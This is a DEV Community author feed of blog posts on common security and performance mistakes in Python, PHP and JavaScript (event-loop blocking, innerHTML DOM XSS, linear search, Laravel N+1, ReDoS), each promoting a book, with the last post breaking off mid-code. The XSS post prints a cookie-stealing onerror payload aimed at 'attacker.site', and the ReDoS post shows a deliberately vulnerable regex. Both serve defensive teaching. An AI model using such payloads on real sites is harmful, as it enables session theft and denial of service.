DEV Community: Akeem O. Salau

Blocking the Event Loop: The Quiet Way Your App Falls Apart at 2PM on a Tuesday

Akeem O. Salau — Thu, 23 Jul 2026 20:39:33 +0000

Picture this. Your app has been running fine for months. No crashes, no alarms, nothing that would make you lose sleep. Then one afternoon, during your busiest hour, everything just stalls. Requests pile up. Users hit refresh, then refresh again. Your dashboard shows CPU usage sitting comfortably at 40 percent, which makes no sense because if the server has capacity left, why does it feel like the whole app is holding its breath?

The answer is almost never "the server is overloaded." The answer, more often than any team wants to admit, is that somewhere in the code a single operation is blocking the event loop, and everything else is waiting in line behind it.

This is one of those bugs that doesn't announce itself. It doesn't throw an exception. It doesn't show up in error logs. It just quietly taxes every single request that comes in after it, and by the time anyone notices the pattern, it has already cost real money, real users, and in some cases, real trust.

What "Blocking the Event Loop" Actually Means

If you write JavaScript on Node.js, you already know the event loop is the engine that lets a single thread handle thousands of concurrent connections. It works by constantly checking a queue: is there a callback ready to run? Run it. Is there another? Run that too. The trick is that each task is supposed to be short. Hand off the heavy lifting like file reads, database calls, and network requests to the system, then come back when the result is ready.

The problem starts when a piece of code refuses to hand anything off. A synchronous loop that processes 50,000 records in memory. A regular expression that backtracks catastrophically on a strange input. A JSON.stringify call on a payload nobody expected to be that large. None of these are asynchronous by nature, so the event loop cannot step aside and serve another request while they run. It has to finish that one operation first, no matter how many other users are waiting.

Python developers hit a version of this too, even though the language wasn't originally built around a single event loop the way Node was. Once you adopt asyncio for a FastAPI service or an async worker, the same rule applies. Call a blocking library function, a synchronous ORM query, or a CPU heavy computation inside an async route, and you have just frozen every other coroutine scheduled on that same loop. The async keyword gives a false sense of safety. Writing async def does not make your code non blocking. It only makes it capable of being non blocking if you never call something synchronous inside it.

PHP tells a slightly different story, because the traditional PHP-FPM model spins up a new process per request, so one slow request doesn't directly starve another the way it does in Node. But the moment a team adopts something like Swoole, ReactPHP, or long running workers to squeeze more performance out of PHP, that isolation disappears. Now a single blocking database call, a slow file write, or an unbounded loop can stall an entire worker that was supposed to be serving hundreds of clients concurrently. Teams migrating from traditional PHP to async PHP frameworks often carry old blocking habits straight into a new environment that punishes them far more severely.

The Real Cost, In Numbers Teams Actually Feel

This isn't an academic problem. A payment gateway integration that does synchronous JSON parsing on a large webhook payload can add hundreds of milliseconds to every single request behind it in the queue, and during a flash sale, that queue can be hundreds of requests deep within seconds. A chat application where one user's message triggers a synchronous image resize can freeze typing indicators for every other user connected to that same server instance. A reporting endpoint that loops through a large dataset in memory instead of paginating the query can take down an entire API for two or three seconds at a time, several times a day, at exactly the moments when traffic is highest.

None of these failures show up as "the server crashed." They show up as p95 latency creeping upward, as support tickets that say "the app feels slow sometimes," as churn that nobody can point to a root cause for. Event loop blocking rarely takes a system down in one dramatic moment. It bleeds performance quietly, request after request, until someone finally profiles the app and finds the one function that has been sitting there the whole time, hogging the thread.

Why Smart Developers Still Make This Mistake

The uncomfortable truth is that this isn't a beginner mistake. Senior engineers write blocking code inside async functions all the time, usually because the blocking part doesn't look blocking. A third party SDK that wraps a synchronous HTTP client. A logging library that writes to disk synchronously by default. A cryptographic hashing function that takes 300 milliseconds on a large input and nobody thought to check. A recursive function that occasionally receives deeply nested input and spirals into a computation that eats the thread alive.

The event loop doesn't care about intent. It doesn't care that your function is "usually fast." It only cares whether the operation you just called returns control back to it quickly or not. And most teams don't find out where they crossed that line until production tells them, usually during the worst possible week to be debugging it.

Spotting It Before It Spots You

A few signals are worth watching for before things get bad. Rising tail latency (p95 and p99) while average latency looks fine is a classic tell, since it usually means a handful of requests are stalling everyone behind them. CPU usage that looks moderate while your app still feels sluggish under load is another, because event loop blocking often looks nothing like a resource exhaustion problem on a dashboard. And if you've never profiled your event loop lag directly, that's usually the first gap worth closing, since most teams are flying blind on this specific metric until something forces their hand.

Diagnosing it properly, and fixing it without introducing new bugs, is a deeper conversation than one blog post can hold. It touches worker threads, task queues, chunked processing, offloading to background jobs, and knowing exactly which library calls in your stack are quietly synchronous when you assumed they weren't.

This Is Exactly the Kind of Mistake Code Crimes Was Written to Catch

I wrote Code Crimes: Security & Performance Mistakes in Modern Code because bugs like this one rarely get taught properly. They get discovered the hard way, in production, under pressure, by developers who are good at their jobs but were never shown what a blocking call actually looks like disguised as an innocent line of code.

The book walks through real world cases across Python, PHP, and JavaScript, the three languages most of us are actually shipping in today. Each "crime" is presented the way it really happens: the code that looked fine in review, the impact it had once it hit real traffic or a real attacker, and the professional fix that actually holds up, not just a patch that hides the symptom.

Event loop blocking is one of the performance crimes covered in depth, alongside a long list of security mistakes that quietly put real applications and real users at risk. If you've ever shipped code that looked correct, passed review, and still caused a problem three months later, this book was written with you in mind.

You can read more about it here: Code Crimes: The Book Every Developer Needs Before Their Next Code Review

And if you're ready to see which of these crimes might already be sitting in your own codebase, you can grab the book on Amazon here: https://www.amazon.com/dp/B0H678BFCK

The innerHTML Loop Disaster: Massive Reflows and Blatant DOM XSS in One Line

Akeem O. Salau — Fri, 17 Jul 2026 21:16:42 +0000

A comment section that used to feel instant now stutters every time someone posts. Scrolling gets choppy. Typing in the reply box lags half a second behind every keystroke. The team assumes it is a server problem, so they check the API response time. It is fine. They check the database. It is fine.

Then, a few weeks later, a much worse report comes in. Someone posted a comment, and every single visitor who viewed that page got redirected to a strange login page and had their session hijacked.

Two separate incidents. Same root cause. Same line of code, sitting quietly inside a loop.

comments.forEach(comment => {
    commentSection.innerHTML += `<div class="comment">${comment.text}</div>`;
});

It looks completely reasonable. Loop through the comments, append each one to the page. Every JavaScript developer has written something close to this at least once. That is exactly why this crime is so common. It reads like the obvious way to build a list, and it quietly commits two separate offenses at the same time, one against performance and one against security.

Crime One: The Reflow Disaster

Every time you write element.innerHTML += something, the browser does not simply tack the new content onto the end. It has to take everything currently inside that element, serialize it back into an HTML string, glue your new piece onto it, throw away every existing node inside that container, and parse the entire combined string from scratch into brand new DOM nodes.

Inside a loop, that means for a hundred comments, the browser is not doing a hundred small operations. It is re-parsing a string that grows a little longer on every pass, rebuilding the entire comment section from zero, one hundred separate times. Each of those rebuilds forces the browser to recalculate layout (a reflow) and repaint the screen. This is the classic recipe for what is known as layout thrashing, and it is why a "simple" list of a few hundred items can visibly freeze a page on a mid range phone.

There is a second, quieter cost buried in there too. Because the entire container gets torn down and rebuilt on every iteration, any existing DOM state inside it gets destroyed along the way. Event listeners attached to earlier comments disappear. If a user had focus in an input field inside that container, they lose it, mid keystroke. Video players restart. Scroll position resets. None of that is a coincidence. It is the direct, unavoidable result of destroying and recreating the entire subtree on every single loop iteration.

Crime Two: The Blatant DOM XSS

The second crime hiding in that same line is worse, because it is not a performance annoyance. It is an open door.

innerHTML does not just insert text. It parses whatever string you hand it as real HTML and executes it accordingly. If comment.text contains plain words, you get a paragraph. If it contains something like this instead,

<img src=x onerror="fetch('https://attacker.site/steal?c='+document.cookie)">

the browser does not print that as harmless text. It builds a real image element, the image fails to load because "x" is not a valid source, and the onerror handler fires, running the attacker's JavaScript inside your page, with full access to cookies, local storage, and anything else your session can reach.

This is a textbook DOM based cross site scripting vulnerability, and it is one of the most well documented mistakes in front end security. The OWASP Foundation's own guidance on the subject is blunt about it. The fix is not clever encoding tricks. It is simply refusing to let user controlled data reach innerHTML in the first place.

Because the vulnerable comment is rendered inside a loop, every single visitor who loads that page becomes a fresh victim. One malicious comment, submitted once, quietly attacks every person who scrolls past it. No phishing email required. No link for anyone to click. Just a normal page load.

The Real World Impact

Picture any feature that renders a list of user generated content on page load. Comment sections. Chat messages. Product reviews. Notification feeds. Support ticket threads. Anywhere a list of items comes from users and gets rendered in a loop is a candidate for exactly this pattern.

The performance side alone is enough to hurt retention. Users on older phones or slower connections abandon interfaces that stutter and lag, and they rarely file a bug report explaining why. They just leave.

The security side is far more serious. A single stored DOM XSS payload in a comment, a bio field, or a chat message can silently harvest session tokens from every visitor who views it, long after the attacker has moved on. It can deface the page for every viewer, redirect them, or quietly log their keystrokes. Because the payload lives inside ordinary looking user content, it can sit undetected for a long time before anyone notices something is wrong.

The Professional Fix

The good news is that one fix solves both crimes at the same time, because the root problem in both cases is the same habit, treating raw user text as if it were safe, structural HTML.

// Before: reflow disaster and DOM XSS in one line
comments.forEach(comment => {
    commentSection.innerHTML += `<div class="comment">${comment.text}</div>`;
});

// After: one reflow, zero script execution
const fragment = document.createDocumentFragment();

comments.forEach(comment => {
    const div = document.createElement('div');
    div.className = 'comment';
    div.textContent = comment.text; // treated as plain text, never parsed as HTML
    fragment.appendChild(div);
});

commentSection.appendChild(fragment); // single DOM write, single reflow

This rewrite fixes both problems for a different reason each. document.createDocumentFragment() builds the entire list of comments in memory, completely detached from the live page, and only touches the real DOM once, at the very end. That collapses however many reflows down to exactly one, and it stops shredding existing nodes, event listeners, and focus state on every pass.

textContent fixes the security half. It inserts the string as literal text, full stop. If comment.text contains <script> tags or an onerror handler, the browser displays those characters on the screen instead of executing them. There is nothing left to sanitize, because nothing gets interpreted as markup in the first place.

If a feature genuinely needs to render rich HTML from user submitted content, such as a comment editor that allows bold text or links, the fix is to run that content through a dedicated sanitization library like DOMPurify before it ever touches innerHTML, rather than trusting it directly.

This Mistake Is Not Only a JavaScript Problem

The same underlying crime, trusting user input as safe markup, shows up wearing different syntax in every language. In PHP, it is echoing a form value straight into a page without htmlspecialchars(). In Python, it is a template engine rendering a string marked as |safe or Markup() when that string actually came from a user. Different keyword, same open door.

That is really the whole idea behind the pattern. The language changes. The specific function name changes. The underlying mistake, letting untrusted data cross straight from user input into something the browser or server treats as executable structure, stays exactly the same.

Where This Fits Into the Bigger Picture

This is exactly the kind of everyday, easy to miss crime covered in Code Crimes: Security & Performance Mistakes in Modern Code. The book walks through more than two hundred real vulnerability and performance case studies across Python, PHP, and JavaScript, breaking each one down into what the mistake actually is, what it costs in a real production system, and the professional fix a senior engineer reaches for.

The innerHTML loop disaster covered here is just one chapter's worth. The book also covers SQL injection shortcuts, insecure defaults, N plus one queries, authentication mistakes, and dozens of other patterns that look completely normal until real traffic and real attackers show up.

You can read more about the book here: Code Crimes: The Book Every Developer Needs Before Their Next Code Review

Or grab it directly on Amazon: https://www.amazon.com/dp/B0H678BFCK

If a single line of "obvious" code inside a loop can freeze your interface and open a security hole at the same time, it is worth taking a second look at every loop in your codebase that touches innerHTML.

Linear Search Bottlenecks: How in_array() Inside a Loop Quietly Wrecks Your App's Speed

Akeem O. Salau — Mon, 13 Jul 2026 23:56:29 +0000

Your app works fine with two hundred users. Then it hits two hundred thousand, and it crawls.

Nobody touched the database. Nobody added a slow third party API call. The support tickets start coming in about pages that take eight, ten, sometimes fifteen seconds to load. The team checks the server. The server is fine. They check the queries. The queries are fine. Everyone assumes it must be something big and dramatic.

It almost never is. Most of the time, the real bug is one small, ordinary looking line sitting quietly inside a loop, doing exactly what it was written to do, just far too many times.

That line usually looks like this in PHP.

if (in_array($userId, $bannedUsers)) {
    // block access
}

Or like this in JavaScript.

if (allowedIds.includes(user.id)) {
    // grant access
}

Or like this in Python.

if user_id in banned_users:
    # deny access

None of these lines look dangerous. They read like plain English. That is exactly the problem. They are so easy to write and so easy to trust that almost nobody stops to ask what is happening underneath them, especially when they end up inside a loop that runs for every user, every product, or every request.

What `in_array()` Is Actually Doing

in_array(), .includes(), and Python's in keyword all do the same basic job when checking membership in a list or array. They perform a linear search. That means the function starts at the first element and checks it, then the second, then the third, and keeps going one by one until it either finds a match or reaches the end of the list.

In computer science terms, that is O(n) complexity. The time it takes grows in a straight line with the size of the array. Check ten items and it is instant. Check ten thousand items and you will actually feel it. Check ten thousand items thousands of times inside a loop, and you have just built an O(n times m) bottleneck, which is the technical way of saying "this gets exponentially worse as your data grows."

Here is the pattern that causes it almost every time.

$bannedUsers = getBannedUserList(); // 15,000 entries

foreach ($allRequests as $request) {
    if (in_array($request['user_id'], $bannedUsers)) {
        // reject
    }
}

If $allRequests has 10,000 entries and $bannedUsers has 15,000 entries, that inner in_array() call can run up to 15,000 comparisons, and it does that for every single one of the 10,000 requests. That is potentially 150 million comparisons to answer a question that should take microseconds.

This is not a rare or exotic mistake. It shows up in permission checks, blacklists and whitelists, duplicate detection, tag matching, category filtering, and anywhere a developer needs to ask "is this thing in that list" while looping over a second collection.

The Numbers Do Not Lie

This is not a theoretical concern. Independent benchmarks on real PHP arrays have shown in_array() taking several seconds to search a large dataset repeatedly, while the hash based alternative finishes the same job in a few hundredths of a second on identical hardware. That is not a small gap. That is the difference between a page that feels instant and one that makes a user close the tab.

The frustrating part is that this bug is invisible during development. Your local test array has twelve items. Your staging environment has two hundred. Everything performs beautifully. Then the product succeeds, real users show up, the dataset grows into the thousands or millions, and the exact same code that sailed through every code review becomes the reason your server is on fire during a traffic spike.

A job platform matching candidates against a growing skills list. An e-commerce store checking product IDs against a large catalog on every page view. An authentication layer validating a user against a permissions array on every single request. These are not edge cases. This is the everyday shape of a real, growing application, and it is exactly where this crime hides.

The Professional Fix

The fix does not require a new library, a caching layer, or a rewrite. It requires changing the shape of the data you are searching, from a plain list into a structure built for instant lookups.

PHP: flip it into keys and use `isset()`

// Before: O(n) per check
$bannedUsers = getBannedUserList();
foreach ($allRequests as $request) {
    if (in_array($request['user_id'], $bannedUsers)) {
        // reject
    }
}

// After: O(1) per check
$bannedUsers = array_flip(getBannedUserList());
foreach ($allRequests as $request) {
    if (isset($bannedUsers[$request['user_id']])) {
        // reject
    }
}

array_flip() turns the array values into keys. PHP arrays are hash maps under the hood, so isset() on a key resolves in close to constant time, no matter how large the array gets. The lookup that took seconds now finishes before you notice it happened.

JavaScript: reach for a Set

// Before: O(n) per check
const allowedIds = getAllowedIds(); // large array
requests.forEach(req => {
    if (allowedIds.includes(req.userId)) {
        // grant access
    }
});

// After: O(1) per check
const allowedIds = new Set(getAllowedIds());
requests.forEach(req => {
    if (allowedIds.has(req.userId)) {
        // grant access
    }
});

A Set is built specifically for membership checks. .has() does not walk the array looking for a match. It hashes the value and jumps straight to the answer.

Python: swap the list for a set

# Before: O(n) per check
banned_users = get_banned_user_list()  # a list
for request in all_requests:
    if request['user_id'] in banned_users:
        # reject
        pass

# After: O(1) per check
banned_users = set(get_banned_user_list())
for request in all_requests:
    if request['user_id'] in banned_users:
        # reject
        pass

The code barely changes. The only difference is the data type, a list swapped for a set. Python's in operator behaves completely differently depending on which one you hand it. Against a list, it is a linear scan. Against a set, it is a hash lookup. Same keyword, same syntax, a completely different performance story.

In every one of these three languages, the fix is not clever. It is not advanced. It takes one line to build the right data structure once, before the loop, instead of forcing the search to happen over and over inside it. That single change is often the difference between a feature that scales quietly and one that pages the on call engineer at 2am.

Why This Crime Keeps Happening

The honest answer is that in_array(), .includes(), and in are not wrong functions. They exist for good reasons and they are perfectly fine for small, fixed size lists. The mistake is not the function itself. It is using it without asking a simple question first: how big can this list get, and how many times am I about to search it.

That single question, asked at the moment you write the loop instead of the moment your server starts timing out, is the difference between code that merely works and code that actually holds up once real traffic arrives. It is a small habit, but it is the kind of habit that separates developers who ship features from developers whose features survive contact with production.

This exact pattern, a familiar, harmless looking line quietly turning into a performance or security liability once real scale hits it, is the entire premise behind Code Crimes: Security & Performance Mistakes in Modern Code. The book walks through more than two hundred real vulnerability and performance case studies across Python, PHP, and JavaScript, the same three languages covered here, each one broken down into what the mistake actually is, what it costs in a real production system, and the professional fix a senior engineer would reach for.

Linear search bottlenecks like this one are just a single chapter's worth of crimes. The book covers dozens more, from insecure defaults to N plus one queries to authentication shortcuts that quietly leave a door open.

You can read more about the book here: Code Crimes: The Book Every Developer Needs Before Their Next Code Review

Or grab it directly on Amazon: https://www.amazon.com/dp/B0H678BFCK

If a single line like in_array() inside a loop can cost your app seconds per request at scale, it is worth asking what else is quietly hiding in your codebase, waiting for the traffic to arrive that finally exposes it.

The Midnight Call That Exposed a Silent Killer in a Laravel Store

Akeem O. Salau — Thu, 09 Jul 2026 23:51:31 +0000

My phone buzzed at 2:14 in the morning. I did not recognize the number, and I almost let it ring out, until I remembered that a friend had passed my contact to a store owner earlier that day, telling her to call me directly if things got worse overnight. It clearly had.

Her voice was shaking, the voice of someone who does not normally call a stranger past midnight. I could tell right away this was not a small problem.

"Orders have stopped coming in," she said. "I do not know what is happening. I thought maybe it was just a slow night, but it has been hours."

She told me she had noticed the order count on her dashboard looked unusually quiet earlier that evening, but she brushed it off, thinking people were simply not shopping that night. It was only when she got curious and tried to open the products page herself that she realized something was badly broken. The page spun. And spun. She waited. Almost five minutes later, it finally loaded.

Five minutes. On a products page. For a store that normally loaded in under two seconds.

I told her to give me fifteen minutes and hung up, already reaching for my laptop before the call had even fully ended.

When Five Minutes Feels Like Forever

If you have ever run an online store, you know that every second a page takes to load is a second closer to losing a customer. Studies on ecommerce behavior have shown for years that shoppers abandon pages that take more than a few seconds to load. A five minute load time is not slow. It is effectively down. To a customer scrolling on their phone during a lunch break or a late night browsing session, a page that will not load is a page that does not exist.

And for her, this was not a small inconvenience. This was her income. Every minute that products page stayed broken was a minute her store was invisible to real buyers, even though the site was technically still online.

She sent over temporary server access within minutes, no questions asked, she just wanted it fixed. I logged in for the first time ever on this codebase, and since I had no history with it and no time to read through it line by line, I dropped in Laravel Telescope right there on the spot to get real visibility into what was actually happening under the hood. Within seconds of loading the products page myself, I understood why she had been sitting there watching a spinner for five minutes.

The query log was flooded. Not with ten queries. Not with fifty. Thousands of queries were firing for a single page load.

Digging Into the Code

My first instinct was that maybe the server had run out of memory, or a background job had somehow locked up the database, or there had been a bad deployment. But the query count told a different story. This was not a server problem. This was a code problem, and it had probably been quietly getting worse for weeks.

I opened the controller responsible for rendering the products page. On the surface, the code looked completely normal. Something like this.

The controller fetched all active products, looped through them, and for each product pulled its images, its category name, and its average review rating to display on the storefront cards. Nothing about it looked dangerous. It read like clean, simple Laravel code, the kind you would write without thinking twice.

But that loop was the trap.

The Real Culprit Hiding in Plain Sight

Here is the part that catches even experienced developers off guard. Eloquent, the ORM that powers database interactions in Laravel, is beautifully expressive. You can write $product->images, $product->category, $product->reviews and it just works, almost like magic. That magic is exactly what makes the N plus one problem so easy to miss.

When you fetch a list of products with a single query, that part is efficient. The trouble starts the moment you loop through those products and access a relationship on each one individually, like calling $product->images inside a foreach loop. Every single call like that fires its own separate database query.

So if her store had 40 products showing on a page, and each product needed its images, its category, and its reviews loaded individually, that is not 40 extra queries. That is potentially 120 or more, on top of the original query just to fetch the products. As her catalog had grown over the months, from a modest 40 products to well over 500, that number had grown right alongside it. What might have been a mildly inefficient page at launch had quietly become a page firing north of 1,500 individual database queries every time someone tried to browse her store.

Nobody had written bad code on purpose. The original implementation worked fine when the catalog was small. It is a mistake I have seen in projects far beyond hers, and one I actually cover in detail in my book, because it is one of the most common and most dangerous performance traps in modern web applications. It rarely announces itself with an error. It just gets slower, and slower, until one night it stops being usable altogether.

Finding the Exact Breaking Point

Before touching anything, I wanted to be certain I understood the full scope of the problem, not just guess at it. I used Telescope's query view to trace exactly where the flood of queries was originating from, and confirmed it through Laravel Debugbar locally. Both pointed to the same three relationships being lazy loaded inside the products loop, images, category, and reviews.

I asked her if anything had changed recently on the site, a new feature, a redesign, a plugin, anything at all. She said no, nothing recent, as far as she knew. That told me this was not a fresh bug someone had just introduced. This had been building gradually as her product catalog grew. Growth, in this case, was the thing that turned a hidden inefficiency into a full blown outage. That is often how these incidents happen. The code was never technically broken. It simply was not built to survive success.

The Fix

The fix itself, once diagnosed, took far less time than the diagnosis did. This is almost always true with N plus one problems. The hard part is finding them, not fixing them.

Instead of letting each product lazily pull its own relationships one at a time, I rewrote the query to eager load everything up front using Eloquent's with() method. Rather than fetching products and then separately reaching back into the database for images, category, and reviews for every single row, the application now fetched products along with their images, category, and reviews in a small, fixed number of queries, regardless of whether the catalog had 40 products or 4,000.

I also added a review count and average rating as calculated fields directly in the same eager load, rather than looping and calculating them in PHP afterward, which shaved off even more overhead. To protect against this ever silently creeping back in, I added a safeguard in the local development environment that throws a warning whenever a lazy relationship is accessed inside a loop, so any future code like this gets caught before it ever reaches production.

The Moment It Clicked

I refreshed the products page.

It loaded instantly.

I ran it again, timing it properly this time. Consistently under one second, down from nearly five minutes. Query count dropped from over 1,500 to just six.

I called her back. It was almost 3 in the morning at this point, but she picked up on the first ring.

"Try loading your products page now," I told her.

There was a pause, then a short laugh of relief. "It is instant," she said. "Oh my goodness, it is actually instant."

By the next morning, her order numbers had already started climbing back to normal. The store had not lost customers because people stopped wanting to buy from her. It had lost customers because, for a stretch of hours, her store had quietly made it nearly impossible for anyone to buy anything at all.

What This Incident Actually Taught Me

A few things stuck with me long after that night.

The first is that performance problems rarely arrive with a warning label. Nobody gets an alert that says a page is about to become five times slower than it was last month. It happens gradually, hidden behind code that looks perfectly reasonable, until growth or traffic finally exposes it all at once.

The second is that monitoring is not optional once real money is involved. Her store did not have query level monitoring in place before that night. It does now. Tools like Laravel Telescope in staging, or a proper application performance monitoring service in production, would have flagged this problem weeks before it became an emergency phone call.

The third, and maybe the most important, is that clean looking code is not the same as efficient code. The controller that caused all of this looked simple and readable. That is exactly why it slipped through. N plus one issues are sneaky precisely because they do not look like bugs. They look like normal, everyday Eloquent usage.

If You Are Running Laravel in Production, Check These Things

If you maintain a Laravel application that touches real revenue, a few habits can save you from a night like this one.

Turn on Laravel Telescope or Debugbar in a staging environment and actually watch the query count on your busiest pages, not just once, but as your data grows.

Get comfortable with eager loading using with() any time you are looping through a collection and accessing a relationship inside that loop.

Set a mental or literal query budget for key pages. If your products page or dashboard is firing more than a handful of queries, that is worth investigating before it becomes a crisis.

Test your critical pages with realistic data volume, not just the 10 sample products you used during development. Problems like this one hide comfortably at small scale and only show their teeth once your catalog, your orders, or your users actually grow.

And finally, have someone you can call in a genuine emergency, and make sure your systems are set up so that when that call comes, you can actually diagnose the problem quickly instead of guessing in the dark.

Her store survived that night because the fix, once found, was straightforward. Not every story like this ends that cleanly, and this is far from the only crime scene I have walked into. Some cost companies their data. Some cost them their reputation. Most of them, like this one, hide quietly inside code that looks completely normal until the night it does not.

That is exactly why I wrote Code Crimes, Security and Performance Mistakes in Modern Code. It walks through real mistakes like this one across Python, PHP, and JavaScript, the kind that quietly cost teams performance, money, and security, and it breaks down exactly how each one shows up, what it actually costs, and how to fix it the professional way, before it becomes your own 2 AM phone call.

You can read more about the book here, or go straight to Amazon to grab a copy.

The Hidden Security and Performance Mistakes Killing Your Python, PHP, and JavaScript Projects

Akeem O. Salau — Fri, 03 Jul 2026 10:22:06 +0000

Every week, another company makes headlines for a data breach or a site that crawled to a halt under normal traffic. In most cases, the root cause was not some sophisticated attack or freak server failure. It was a mistake that had been sitting quietly in the codebase for months, waiting to be noticed by the wrong person or the wrong spike in users.

Security and performance are often treated as separate concerns, handled by different teams at different stages of a project. In reality, they are deeply connected. A slow query is often an unindexed query, and an unindexed query is often the same query that lets an attacker enumerate your entire user table through a poorly designed endpoint. The same corners that get cut for speed of development tend to be the corners that create both problems at once.

Why Security and Performance Are Two Sides of the Same Coin

When code is rushed, developers reach for the fastest working solution rather than the correct one. That might mean skipping input validation because "the frontend already checks it," or writing a database query inside a loop because refactoring it properly would take longer. These shortcuts compile, they pass the demo, and they ship. Then six months later, traffic grows, the loop query brings the server down, or a curious user changes a parameter in the URL and gets access to data they should never see.

The Python Mistakes Developers Keep Repeating

Python's readability gives developers a false sense of safety. Some of the most common issues include using eval() or pickle on data that comes from users, which can allow arbitrary code execution. Another frequent problem is the N+1 query pattern in Django and Flask apps, where a single page load triggers hundreds of unnecessary database calls because relationships were not eager loaded. Developers also tend to skip proper exception handling in production code, exposing stack traces that hand attackers a roadmap of the internal system.

PHP's Silent Killers

PHP still powers a huge share of the web, and many of its long standing habits carry real risk. SQL injection remains alive and well in codebases that concatenate user input directly into queries instead of using prepared statements. File upload handlers are another weak point, often accepting files without properly checking their type or where they get stored, which opens the door to remote code execution. On the performance side, many PHP applications still run without any caching layer for repeated database reads, meaning every page load hits the database from scratch even when the data has not changed in hours.

JavaScript's Speed and Security Traps

JavaScript sits in a strange spot because it runs on both the client and the server, and mistakes on either side create very different problems. On the frontend, developers often trust data from local storage or cookies without realizing it can be manipulated by anyone with browser dev tools open. On the backend, Node.js applications frequently suffer from blocking the event loop with heavy synchronous operations, which quietly tanks performance for every user connected at that moment. Dependency sprawl is another issue unique to the JavaScript ecosystem, where a single npm install can pull in hundreds of packages, some of which carry known vulnerabilities that never get patched because nobody is tracking them.

The Real Cost of Ignoring These Mistakes

These are not abstract concerns. A breach means legal exposure, lost customer trust, and in many regions, regulatory penalties. A slow application means abandoned carts, lower search rankings, and users who quietly switch to a competitor without ever filing a complaint. The frustrating part is that most of these problems are preventable with patterns that take barely more effort than the shortcut that caused them.

How to Fix This Before It Costs You

The fix is rarely a rewrite. It is usually a shift in habits: validating input at every layer, not just the frontend, using parameterized queries by default, profiling database calls before they become a bottleneck, and treating dependency updates as a routine task rather than something to deal with after an incident. These are the exact patterns broken down in detail in my book, Code Crimes: Security & Performance Mistakes in Modern Code, which walks through real, recurring mistakes in Python, PHP, and JavaScript and shows exactly how to catch them before they reach production.

If you write code that other people depend on, whether that is a small business tool or a platform with thousands of daily users, these are not optional lessons. They are the difference between a codebase that quietly holds up under pressure and one that quietly falls apart.

Get the book:

amazon.com/dp/B0H678BFCK
amazon.co.uk/dp/B0H678BFCK
amazon.fr/dp/B0H678BFCK

This One Regex Line Can Take Your Python App Offline (And You'd Never Suspect It)

Akeem O. Salau — Sat, 20 Jun 2026 21:07:03 +0000

You write a regex pattern to validate a token. Something simple. You test it with real input, it works perfectly, you ship it, and you move on to the next ticket. Weeks later your app grinds to a halt under what looks like a tiny amount of traffic. No memory leak. No database lock. No obvious culprit in your logs. Just one thread, pinned at 100% CPU, doing absolutely nothing useful.

The cause was sitting in your code the whole time. It was that regex.

This is one of the sneakier bugs a backend developer can write, because it doesn't fail the way bugs normally fail. It doesn't throw an exception. It doesn't return the wrong value. It just runs forever on a tiny, perfectly ordinary-looking string. And if you're validating anything user-submitted, alphanumeric tokens, CSV fields, tracking IDs, usernames, you have probably written a version of this exact mistake without knowing it.

The setup: a regex that looks completely reasonable

Say you're validating tokens submitted by users. Something like a tracking ID or an alphanumeric code. You want to allow letters, numbers, and underscores, and you want the whole string to match from start to end. A natural first attempt looks like this:

import re

# Looks safe, but the nested '+' and '*' create exponential paths

VULNERABLE_REGEX = re.compile(r"^([a-zA-Z0-9_]+)*$")

def validate_token(user_input: str) -> bool:
    return bool(VULNERABLE_REGEX.match(user_input))

If you test this with valid tokens, it works instantly. Feed it user_123_abc and you get a clean True in microseconds. Everything looks fine. It passes code review. It passes your test suite. It ships.

The problem only shows up when someone sends a string that is almost valid but not quite, something like thirty or forty valid characters followed by a single invalid one at the very end. At that point, the regex engine doesn't just fail quickly. It tries to fail in every possible way before giving up, and the number of ways grows exponentially with the length of the input.

Why this happens: nested quantifiers are ambiguous

The root issue is the structure ([a-zA-Z0-9_]+). You have a repetition group (+) nested inside another repetition group (). To the engine, this creates massive ambiguity about how to split the string into pieces. A run of twenty valid characters could be read as one big group of twenty, or two groups of ten, or four groups of five, or twenty groups of one, and so on. There are an enormous number of equally valid ways to partition that run.

As long as the entire string matches, the engine doesn't care which partition it used, so it picks one and moves on instantly. But the moment something downstream fails to match, like that final invalid character, the engine has to go back and try every other partition of the string before it can conclude that none of them work either. That backtracking process is where the exponential blow-up happens.

This is called Regular Expression Denial of Service, or ReDoS, and it's one of the few bug classes where a single request from a single user can take down an entire server thread with nothing but a moderately sized string.

The professional impact: this is a denial-of-service vector, not a quirky edge case

It's tempting to file this away as a theoretical concern, but the impact is very real and very practical:

A malicious actor doesn't need a sophisticated exploit. They just need to find one input field in your application backed by a vulnerable regex, and send a crafted string of thirty to fifty characters. That's it. The regex engine will burn 100% of a CPU core trying to resolve the match, and because most web frameworks process requests on a limited pool of threads or within a single event loop, that one request can block everything else behind it.

Send a handful of these requests in parallel, and you can exhaust your entire application's available threads or event-loop cycles. The service becomes completely unresponsive to legitimate users, not because your database is slow, not because you're under heavy genuine traffic, but because of one badly shaped regular expression doing busywork that produces no useful output at all.

In a cloud environment, this gets worse before it gets better. Your monitoring sees CPU usage spike and, doing exactly what it's designed to do, triggers auto-scaling. You spin up more instances to handle the "load." The attacker's strings hit those instances too. You're now paying for compute capacity to process malicious garbage, and your bill goes up at the same rate your service goes down.

The fix: stop the engine from backtracking

There are two complementary strategies here, and the strongest approach uses both.

Option A: Linearize the pattern. In a lot of cases, the nested quantifier isn't even doing anything useful. If you actually walk through what ([a-zA-Z0-9_]+)* is trying to express, you'll often find it's logically identical to a much simpler pattern with no nesting at all:

import re

# Linearize: remove the nested duplication entirely

CLEAN_REGEX = re.compile(r"^[a-zA-Z0-9_]*$")

This matches exactly the same set of strings as the vulnerable version, but it does so in linear time. There's no ambiguity for the engine to resolve, so there's nothing to backtrack into.

Option B: Use possessive quantifiers (Python 3.11+). If your pattern genuinely needs the grouping structure for some other reason, modern Python gives you a tool that removes the ambiguity directly. A possessive quantifier, written with ++, tells the engine that once a group has matched, it should never backtrack into that match later. If the overall pattern eventually fails, the engine fails immediately instead of trying every other way to split the string.

import re

# Possessive quantifier: once matched, the group is locked and won't backtrack

MODERN_SAFE_REGEX = re.compile(r"^([a-zA-Z0-9_]+)++$")

def validate_token_safe(user_input: str) -> bool:
    return bool(MODERN_SAFE_REGEX.match(user_input))

This converts the pattern's worst-case behavior from exponential to predictable and linear, while keeping the original group structure intact if you need it for something like capturing.

Defense in depth: length limits and timeouts

Fixing the regex itself is the most important step, but it shouldn't be the only line of defense. Two cheap additions make the difference between "fixed" and "actually hardened":

Cap the input length before you ever touch the regex engine.

MAX_TOKEN_LENGTH = 128

def validate_token_safe(user_input: str) -> bool:
    if len(user_input) > MAX_TOKEN_LENGTH:
        return False

